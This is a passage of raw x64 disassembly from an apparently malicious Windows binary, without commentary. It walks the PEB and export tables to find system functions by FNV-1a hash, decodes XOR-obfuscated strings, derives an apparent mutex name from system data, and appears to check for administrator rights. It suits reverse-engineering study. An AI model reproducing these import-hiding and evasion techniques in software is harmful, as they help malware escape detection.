movdqa xmmword [rbp + 0x280], xmm1
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x3510]
call fcn.14004f530
mov rdx, rax
lea rcx, [rbp + 0x3a28]
call fcn.14003ae00
test al, al
je 0x140045fa7
mov dword [rbp - 0x80], 0
mov word [rbp - 0x7c], 0x500
xor esi, esi
mov edi, 0xdb3de4b3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1140], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400413a0
mov r8, qword [rbp + 0x1148]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140041397
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140041370
cmp r9d, esi
jne 0x1400414e5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400414ed
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400414e5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400414e5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140041428
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041401
cmp r9d, edi
je 0x14004143a
test r10d, r10d
jne 0x1400413e0
mov rax, qword [rax]
jmp 0x140041330
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x1400414ef
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400414ef
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400414a4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140041480
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400414d4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400414b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041330
xor ebx, ebx
lea rax, [rbp + 0x78]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x80]
call rbx
test eax, eax
jne 0x14004154e
mov rcx, qword gs:[0x60]
jmp 0x14004193d
mov dword [rbp + 0x10], 0
xor esi, esi
mov edi, 0x3b137204
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1150], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400415e0
mov r8, qword [rbp + 0x1158]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400415d7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400415b0
cmp r9d, esi
jne 0x140041725
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004172d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140041725
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140041725
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140041668
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041641
cmp r9d, edi
je 0x14004167a
test r10d, r10d
jne 0x140041620
mov rax, qword [rax]
jmp 0x140041570
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004172f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004172f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400416e4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400416c0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140041714
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400416f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041570
xor ebx, ebx
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x78]
xor ecx, ecx
call rbx
xor esi, esi
mov edi, 0x8b86f6e5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1160], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400417d0
mov r8, qword [rbp + 0x1168]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400417c7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400417a0
cmp r9d, esi
jne 0x140041915
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004191d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140041915
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140041915
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140041858
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041831
cmp r9d, edi
je 0x14004186a
test r10d, r10d
jne 0x140041810
mov rax, qword [rax]
jmp 0x140041760
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x14004191f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x14004191f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x1400418d4
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x1400418b0
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140041904
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x1400418e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041760
xor edx, edx
mov rcx, qword [rbp + 0x78]
call rdx
cmp dword [rbp + 0x10], 1
sete al
mov rcx, qword gs:[0x60]
test al, al
jne 0x140041c1a
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1908], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400419c0
mov r9, qword [rbp + 0x1910]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x1400419b7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140041990
cmp r10d, esi
jne 0x140041b07
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x140041b0f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140041b07
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140041b07
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140041a47
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140041a20
cmp r10d, r8d
je 0x140041a59
test r11d, r11d
jne 0x140041a00
mov rax, qword [rax]
jmp 0x140041950
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140041b11
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140041b11
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140041ac4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140041aa0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140041af6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140041ad0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041950
xor ebx, ebx
movabs rdx, 0xba38d454249fea6b
mov qword [rbp + 0x1170], rdx
movabs rcx, 0xcfc1cc55b526d184
mov qword [rbp + 0x1178], rcx
movabs rax, 0x971880046dcda138
mov qword [rbp + 0xc0], rax
movabs rax, 0xcfc1be3ac75494a4
mov qword [rbp + 0xc8], rax
movdqa xmm0, xmmword [rbp + 0x1170]
pxor xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0x1420], rdx
mov qword [rbp + 0x1428], rcx
movabs rax, 0x654acb962268d245
mov qword [rbp + 0x1430], rax
mov qword [rbp + 0x1438], r14
movabs rax, 0xd618b12745fa863b
mov qword [rbp + 0x2b0], rax
movabs rax, 0xbca0ec3dd648a4e5
mov qword [rbp + 0x2b8], rax
movabs rax, 0x1623a5ff4f0c9365
mov qword [rbp + 0x2c0], rax
movabs rax, 0xde041ad0525b593a
mov qword [rbp + 0x2c8], rax
movdqa xmm0, xmmword [rbp + 0x1420]
pxor xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x2b0], xmm0
movdqa xmm1, xmmword [rbp + 0x1430]
pxor xmm1, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm1
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x2b0]
jmp 0x140046f7b
xor r14d, r14d
mov esi, 0x1e086d37
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1180], xmm0
movd ecx, xmm0
sub cx, 8
test r14d, r14d
je 0x140041ca0
mov r8, qword [rbp + 0x1188]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140041c97
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140041c70
cmp r9d, r14d
jne 0x140041df6
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140041dfe
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rsp + 0x78], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140041df6
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140041df6
mov r13d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r13]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140041d37
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041d10
cmp r9d, esi
je 0x140041d49
test r10d, r10d
jne 0x140041ce5
mov rax, qword [rax]
jmp 0x140041c30
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edi, dword [rcx + rax*4]
add rdi, r11
mov qword [rsp + 0x60], rdi
cmp rdi, r15
jbe 0x140041e05
mov rax, qword [rsp + 0x78]
add rax, r15
cmp rdi, rax
jae 0x140041e05
mov esi, 0x811c9dc5
mov r14d, esi
movzx edx, byte [rdi]
cmp dl, 0x2e
je 0x140041db7
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
inc rdi
movzx edx, byte [rdi]
cmp dl, 0x2e
jne 0x140041d91
inc rdi
movzx edx, byte [rdi]
test dl, dl
je 0x140041de5
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea rdi, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
jne 0x140041dc1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041c30
xor edi, edi
mov qword [rsp + 0x60], rdi
mov edx, 1
lea rcx, [rbp + 0x35b0]
call fcn.14004e0a0
nop
imul ecx, dword [0x7ffe03c0], 0x213ea020
mov edx, 0x76e96710
mov eax, edx
sub eax, ecx
mov dword [rbp + 0x1b0], eax
imul eax, dword [0x7ffe02c4], 0x37e06b0
add eax, edx
mov dword [rbp + 0x1b4], eax
imul eax, dword [0x7ffe0240], 0x12482760
mov ecx, edx
sub ecx, eax
mov dword [rbp + 0x1b8], ecx
imul eax, dword [0x7ffe0260], 0x47bb9210
sub edx, eax
mov dword [rbp + 0x1bc], edx
xor esi, esi
movabs rdi, 0xba38d454249fea6b
movabs r12, 0xba38d454249fea46
movabs r14, 0xcfc1cc55b526d184
nop dword [rax]
lea rax, [rsi - 4]
test rax, 0xfffffffffffffff9
jne 0x140041eee
xor eax, eax
mov byte [rbp - 0x2d], al
mov byte [rbp - 0x2c], al
mov qword [rbp + 0x1190], rdi
mov qword [rbp + 0x1198], r14
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], r14
mov byte [rbp - 0x2b], al
movdqa xmm0, xmmword [rbp + 0x1190]
pxor xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x35c0]
call fcn.140055020
mov rax, qword [rbp + 0x35c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x35c0]
add rcx, rax
call fcn.140032170
mov rax, qword [rbp + 0x35c0]
movsxd rcx, dword [rax + 4]
mov byte [rbp + rcx + 0x3618], 0x30
mov edx, 2
lea rcx, [rbp + 0x3430]
call fcn.140078104
mov rbx, qword [rax]
mov rcx, qword [rbp + 0x35c0]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0x35c0]
add rcx, rdx
mov rdx, qword [rax + 8]
call rbx
movzx edx, byte [rbp + rsi + 0x1b0]
lea rcx, [rbp + 0x35c0]
call fcn.14004eb40
inc rsi
cmp rsi, 0x10
jl 0x140041e90
lea rdx, [rbp + 0x32b0]
lea rcx, [rbp + 0x35c8]
call fcn.1400514a0
mov dword [rsp + 0x70], 0x30
lea rcx, [rbp + 0x3648]
call fcn.14004dfb0
nop
lea rax, [0x1400c1cc0]
mov qword [rbp + 0x3648], rax
lea rcx, [rbp + 0x3648]
call fcn.140077fc0
nop
lea rcx, [rbp + 0x32b0]
call fcn.14000ac80
mov r8, rax
mov edx, 1
xor ecx, ecx
mov rdi, qword [rsp + 0x60]
call rdi
mov rcx, qword [rbp + 0x3a20]
mov rcx, qword [rcx]
mov qword [rcx], rax
mov dword [rsp + 0x70], 0x20
lea rcx, [rbp + 0x32b0]
call fcn.14002b170
xor esi, esi
mov r14d, 0x136d9f17
mov dword [rsp + 0x60], r14d
mov edi, r14d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r12d, 0x1e086d37
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11a0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140042090
mov r8, qword [rbp + 0x11a8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042087
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042060
cmp r9d, esi
jne 0x1400421e5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400421ed
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rsp + 0x78], rcx
mov r13d, edx
add r13, r11
cmp r13, r11
je 0x1400421e5
mov r10d, dword [r13 + 0x18]
test r10d, r10d
je 0x1400421e5
mov ecx, dword [r13 + 0x20]
dec r10d
lea rcx, [rcx + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140042127
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042100
cmp r9d, edi
je 0x14004213d
test r10d, r10d
mov ecx, dword [r13 + 0x20]
jne 0x1400420d5
mov rax, qword [rax]
jmp 0x140042020
mov ecx, dword [r13 + 0x1c]
add rcx, r11
mov eax, dword [r13 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r13
jbe 0x1400421ef
mov rax, qword [rsp + 0x78]
add rax, r13
cmp rdx, rax
jae 0x1400421ef
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x1400421a4
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140042180
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x1400421d4
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x1400421b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042020
xor edx, edx
call rdx
cmp eax, 0xb7
je 0x140046f85
xor esi, esi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11b0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140042280
mov r8, qword [rbp + 0x11b8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042277
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042250
cmp r9d, esi
jne 0x1400423e7
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400423ef
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rbp + 8], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400423e7
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400423e7
mov r13d, dword [r15 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rcx, [r10*4]
add rcx, r13
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140042327
nop dword [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042300
cmp r9d, r12d
je 0x140042339
test r10d, r10d
jne 0x1400422d0
mov rax, qword [rax]
jmp 0x140042210
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edi, dword [rcx + rax*4]
add rdi, r11
mov qword [rsp + 0x78], rdi
cmp rdi, r15
jbe 0x1400423f6
mov rax, qword [rbp + 8]
add rax, r15
cmp rdi, rax
jae 0x1400423f6
mov esi, 0x811c9dc5
mov r12d, esi
movzx edx, byte [rdi]
cmp dl, 0x2e
je 0x1400423a4
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdi
movzx edx, byte [rdi]
cmp dl, 0x2e
jne 0x140042380
inc rdi
movzx edx, byte [rdi]
test dl, dl
je 0x1400423d6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r12d
imul r12d, ecx, 0x1000193
lea rdi, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
jne 0x1400423b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042210
xor edi, edi
mov qword [rsp + 0x78], rdi
mov edx, 1
lea rcx, [rbp + 0x36b0]
call fcn.14004e0a0
nop
imul ecx, dword [0x7ffe03c0], 0x415373b8
mov edx, 0xb8db7ac1
mov eax, edx
sub eax, ecx
mov dword [rbp + 0x1d0], eax
imul eax, dword [0x7ffe02c4], 0x74a5aaf4
sub eax, 0x4724853f
mov dword [rbp + 0x1d4], eax
imul eax, dword [0x7ffe0240], 0x65152498
sub eax, 0x4724853f
mov dword [rbp + 0x1d8], eax
imul eax, dword [0x7ffe0260], 0x1f27e55c
sub edx, eax
mov dword [rbp + 0x1dc], edx
xor esi, esi
movabs rdi, 0xba38d454249fea6b
movabs r15, 0xba38d454249fea46
movabs r14, 0xcfc1cc55b526d184
lea rax, [rsi - 4]
test rax, 0xfffffffffffffff9
jne 0x1400424df
xor eax, eax
mov byte [rbp - 0x2a], al
mov byte [rbp - 0x29], al
mov qword [rbp + 0x11c0], rdi
mov qword [rbp + 0x11c8], r14
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], r14
mov byte [rbp - 0x28], al
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp + 0x11c0]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x36c0]
call fcn.140055020
mov rax, qword [rbp + 0x36c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x36c0]
add rcx, rax
call fcn.140032170
mov rax, qword [rbp + 0x36c0]
movsxd rcx, dword [rax + 4]
mov byte [rbp + rcx + 0x3718], 0x30
mov edx, 2
lea rcx, [rbp + 0x3440]
call fcn.140078104
mov rbx, qword [rax]
mov rcx, qword [rbp + 0x36c0]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0x36c0]
add rcx, rdx
mov rdx, qword [rax + 8]
call rbx
movzx edx, byte [rbp + rsi + 0x1d0]
lea rcx, [rbp + 0x36c0]
call fcn.14004eb40
inc rsi
cmp rsi, 0x10
jl 0x140042481
lea rdx, [rbp + 0x32d0]
lea rcx, [rbp + 0x36c8]
call fcn.1400514a0
mov dword [rsp + 0x70], 0xe0
lea rcx, [rbp + 0x3748]
call fcn.14004dfb0
nop
lea rax, [0x1400c1cc0]
mov qword [rbp + 0x3748], rax
lea rcx, [rbp + 0x3748]
call fcn.140077fc0
nop
lea rcx, [rbp + 0x32d0]
call fcn.14000ac80
mov r8, rax
xor edx, edx
xor ecx, ecx
mov rdi, qword [rsp + 0x78]
call rdi
mov qword [rbp + 8], rax
mov dword [rsp + 0x70], 0xa0
lea rcx, [rbp + 0x32d0]
call fcn.14002b170
xor edi, edi
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r14d, dword [rsp + 0x60]
nop dword [rax]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rbp + 0x11d0], xmm0
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140042651
mov r8, qword [rbp + 0x11d8]
movzx eax, ax
shr rax, 1
lea r10, [r8 + rax*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042648
movsx eax, byte [r8]
mov edx, eax
sub al, 0x41
mov ebx, edx
or ebx, 0x20
cmp al, 0x19
